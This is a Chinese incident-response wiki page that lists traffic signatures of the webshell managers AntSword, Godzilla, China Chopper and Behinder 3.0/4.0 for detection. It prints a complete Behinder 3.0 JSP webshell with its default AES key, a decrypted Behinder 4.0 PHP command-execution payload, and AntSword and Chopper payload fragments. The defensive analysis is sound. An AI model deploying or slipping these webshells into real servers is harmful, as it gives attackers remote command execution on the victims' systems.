应急响应
应急响应概述
Windows入侵排查
Windows日志分析
Linux入侵排查
Linux日志分析
Windows入侵排查【详细版】
Linux入侵排查【详细版】
蚁剑流量分析
冰蝎流量分析
中国菜刀流量分析
Webshell管理工具流量特征
-
+
首页
Webshell管理工具流量特征
# 蚁剑 在蚁剑中执行whoami命令时的流量:  执行dir命令时的流量:  对前部分进行url 解码可获得如下: ```txt 1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir"); if($opdir{$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item) ``` 特征: - UA头可能会有antSword/版本号等字样 - 由木马连接密码开头(加密的话大都是_0x 开头) - 明文中有@ini_set() 函数开头来隐藏错误信息(强特征) - 有@set_time_limit(0) 函数设置脚本执行时间为无限长 - 有@ini_get() 函数获取php配置文件中open_basedir的值,即获取可以访问的目录 - 存在eval 这个危险函数(强特征) - payload分段并 采用base64 加密(因此有base64界面相关函数) - 服务器返回的是明文信息 强特征:@ini_set() 函数开头,其在不同编码下的不同表现形式: ```txt base64编码:QGluaV9zZXQ chr编码:cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116) rot13编码:@vav_frg ``` # 哥斯拉 在哥斯拉中执行whoami命令时的流量:   特征: - UA头默认是使用的JDK 信息(如 Java/1.8.0_121,具体取决JDK环境) - Cookie 值有PHPSESSID=iocrpclbbt8mpg4i11j5ocohu0;(强特征) - 头部Accept值text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8(弱特征) - 由木马连接密码开头 - 首当其冲的是 eval 命令执行函数 - 存在base64_decode、strrev和urldecode 等解码函数 - 在请求体中存在key 字段 - 相应包分前后两种加密方式 强特征:Cookie值存在PHPSESSID=js1bi491i4bcqlogsotqg91pd6;这种字段值。 # 菜刀 在菜刀执行dir命令时的流量:  特征如下: - 强特征:直接eval,明文后base64加密,请求包中会有eval、assert这种base64特征的字符 - 强特征:固定存在QGluaV9zZXQ - 请求体payload 为base64编码 - 请求体中固定字符: ```txt QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J ``` # 冰蝎3.0 内置16个UA头,取消动态密钥获取,目前很多waf等设备都做了冰蝎2.0的流量特征分析。 所以3.0取消了动态密钥获取;界面由swt改为javafx;aes密钥变为md5(“pass”)[0:16] ```txt 请求包中content-length 为5740或5720(可能会根据Java版本而改变) 每一个请求头中存在 Pragma: no-cache,Cache-Co ntrol: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng-101.webp,/*;q=0.8,application/signed-exchange;v=b3;q=0.9 ``` 在shell.jsp中e45e329feb5d925b为rebeyond: ```jsp <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root> ``` # 冰蝎4.0 冰蝎4.0建立时候java也会与主机建立tcp连接,端口在49700左右每次连接就逐一叠加,冰蝎4.0内置了10个user-agent,每次连接shell都会换一个进行使用连接。 有固定的请求头和响应头,并且默认时候冰蝎webshell都有一串密钥,密钥是连接密码32位md5值的前16位,默认连接密码是rebeyond。 执行whoami命令的流量:   将请求包进行解密后得到: ```txt @error_reporting(0);function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); }}function main($cmd,$path){ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result));}function Encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i ``` 特征: - 没有显示木马连接密码(默认连接密码为rebeyond,其md5值的前16位被作为AES密钥) - Accept值 application/json, text/javascript, */*; q=0.01浏览器可接受任何文件,但最倾向 application/json 和 text/javascript - 弱特征:Content-type: Application/x-www-form-urlencoded @error_reporting(0); - 关闭了所有的错误报告 - 长连接:冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销 - 默认情况下,请求头和响应头里会带有 Connection 连接端口在49700左右每次连接就逐一叠加
毛林
2025年11月1日 18:21
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码